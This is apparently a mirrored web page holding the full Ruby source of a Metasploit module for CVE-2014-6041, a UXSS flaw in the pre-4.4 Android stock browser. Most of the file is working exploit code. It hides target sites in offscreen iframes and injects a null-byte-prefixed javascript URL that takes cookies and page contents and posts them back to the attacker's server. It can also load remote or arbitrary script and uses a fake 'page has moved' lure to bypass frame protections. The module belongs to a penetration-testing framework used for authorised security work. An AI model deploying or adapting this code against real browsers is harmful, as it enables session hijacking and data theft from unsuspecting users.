Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/android_stock_browser_uxss.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpServer::HTML
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Android Open Source Platform (AOSP) Browser UXSS',
15
'Description' => %q{
16
This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in
17
all versions of Android's open source stock browser before 4.4, and Android apps running
18
on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug
19
to scrape both cookie data and page contents from a vulnerable browser window.
20
21
If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option,
22
which will cause a popup window to be used. This requires a click from the user
23
and is much less stealthy, but is generally harmless-looking.
24
25
By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this
26
module also allows running arbitrary javascript in the context of the targeted URL.
27
Some sample UXSS scripts are provided in data/exploits/uxss.
28
},
29
'Author' => [
30
'Rafay Baloch', # Original discovery, disclosure
31
'joev' # Metasploit module
32
],
33
'License' => MSF_LICENSE,
34
'Actions' => [
35
[ 'WebServer' ]
36
],
37
'PassiveActions' => [
38
'WebServer'
39
],
40
'References' => [
41
[ 'URL', 'http://1337day.com/exploit/description/22581' ],
42
[ 'OSVDB', '110664' ],
43
[ 'CVE', '2014-6041' ]
44
],
45
'DefaultAction' => 'WebServer',
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options([
55
OptString.new('TARGET_URLS', [
56
true,
57
"The comma-separated list of URLs to steal.",
58
'http://example.com'
59
]),
60
OptString.new('CUSTOM_JS', [
61
false,
62
"A string of javascript to execute in the context of the target URLs.",
63
''
64
]),
65
OptString.new('REMOTE_JS', [
66
false,
67
"A URL to inject into a script tag in the context of the target URLs.",
68
''
69
]),
70
OptBool.new('BYPASS_XFO', [
71
false,
72
"Bypass URLs that have X-Frame-Options by using a one-click popup exploit.",
73
false
74
]),
75
OptBool.new('CLOSE_POPUP', [
76
false,
77
"When BYPASS_XFO is enabled, this closes the popup window after exfiltration.",
78
true
79
])
80
])
81
end
82
83
def on_request_uri(cli, request)
84
print_status("Request '#{request.method} #{request.uri}'")
85
86
if request.method.downcase == 'post'
87
collect_data(request)
88
send_response_html(cli, '')
89
else
90
payload_fn = Rex::Text.rand_text_alphanumeric(4 + rand(8))
91
domains = datastore['TARGET_URLS'].split(',')
92
93
html = <<-EOS
94
<html>
95
<body>
96
<script>
97
var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}"));
98
var bypassXFO = #{datastore['BYPASS_XFO']};
99
var received = [];
100
101
window.addEventListener('message', function(e) {
102
var data = JSON.parse(e.data);
103
if (!data.send) {
104
if (bypassXFO && data.i && received[data.i]) return;
105
if (bypassXFO && e.data) received.push(true);
106
}
107
var x = new XMLHttpRequest;
108
x.open('POST', window.location, true);
109
x.send(e.data);
110
}, false);
111
112
function randomString() {
113
var str = '';
114
for (var i = 0; i < 5+Math.random()*15; i++) {
115
str += String.fromCharCode('A'.charCodeAt(0) + parseInt(Math.random()*26))
116
}
117
return str;
118
}
119
120
function installFrame(target) {
121
var f = document.createElement('iframe');
122
var n = randomString();
123
f.setAttribute('name', n);
124
f.setAttribute('src', target);
125
f.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px');
126
f.onload = function(){
127
attack(target, n);
128
};
129
document.body.appendChild(f);
130
}
131
132
function attack(target, n, i, cachedN) {
133
var exploit = function(){
134
window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+
135
'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+
136
'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+
137
'));}void(0);', n);
138
}
139
if (!n) {
140
n = cachedN || randomString();
141
var closePopup = #{datastore['CLOSE_POPUP']};
142
var w = window.open(target, n);
143
var deadman = setTimeout(function(){
144
clearInterval(clear);
145
clearInterval(clear2);
146
attack(targets[i], null, i, n);
147
}, 10000);
148
var clear = setInterval(function(){
149
if (received[i]) {
150
if (i < targets.length-1) {
151
try{ w.stop(); }catch(e){}
152
try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){}
153
}
154
155
clearInterval(clear);
156
clearInterval(clear2);
157
clearTimeout(deadman);
158
159
if (i < targets.length-1) {
160
setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100);
161
} else {
162
if (closePopup) w.close();
163
}
164
}
165
}, 50);
166
var clear2 = setInterval(function(){
167
try {
168
if (w.location.toString()) return;
169
if (w.document) return;
170
} catch(e) {}
171
clearInterval(clear2);
172
clear2 = setInterval(exploit, 50);
173
},20);
174
} else {
175
exploit();
176
}
177
}
178
179
var clickedOnce = false;
180
function onclickHandler() {
181
if (clickedOnce) return false;
182
clickedOnce = true;
183
attack(targets[0], null, 0);
184
return false;
185
}
186
187
window.onload = function(){
188
if (bypassXFO) {
189
document.querySelector('#click').style.display='block';
190
window.onclick = onclickHandler;
191
} else {
192
for (var i = 0; i < targets.length; i++) {
193
installFrame(targets[i]);
194
}
195
}
196
}
197
</script>
198
<div style='text-align:center;margin:20px 0;font-size:22px;display:none'
199
id='click' onclick='onclickHandler()'>
200
The page has moved. <a href='#'>Click here to be redirected.</a>
201
</div>
202
</body>
203
</html>
204
EOS
205
206
print_status("Sending initial HTML ...")
207
send_response_html(cli, html)
208
end
209
end
210
211
def collect_data(request)
212
response = JSON.parse(request.body)
213
url = response['url']
214
if response && url
215
file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")
216
print_good "Collected data from URL: #{url}"
217
print_good "Saved to: #{file}"
218
end
219
end
220
221
def backend_url
222
proto = (datastore["SSL"] ? "https" : "http")
223
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
224
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
225
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
226
end
227
228
def custom_js
229
rjs_hook + datastore['CUSTOM_JS']
230
end
231
232
def rjs_hook
233
remote_js = datastore['REMOTE_JS']
234
if remote_js.present?
235
"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "
236
else
237
''
238
end
239
end
240
241
def run
242
exploit
243
end
244
end
245
246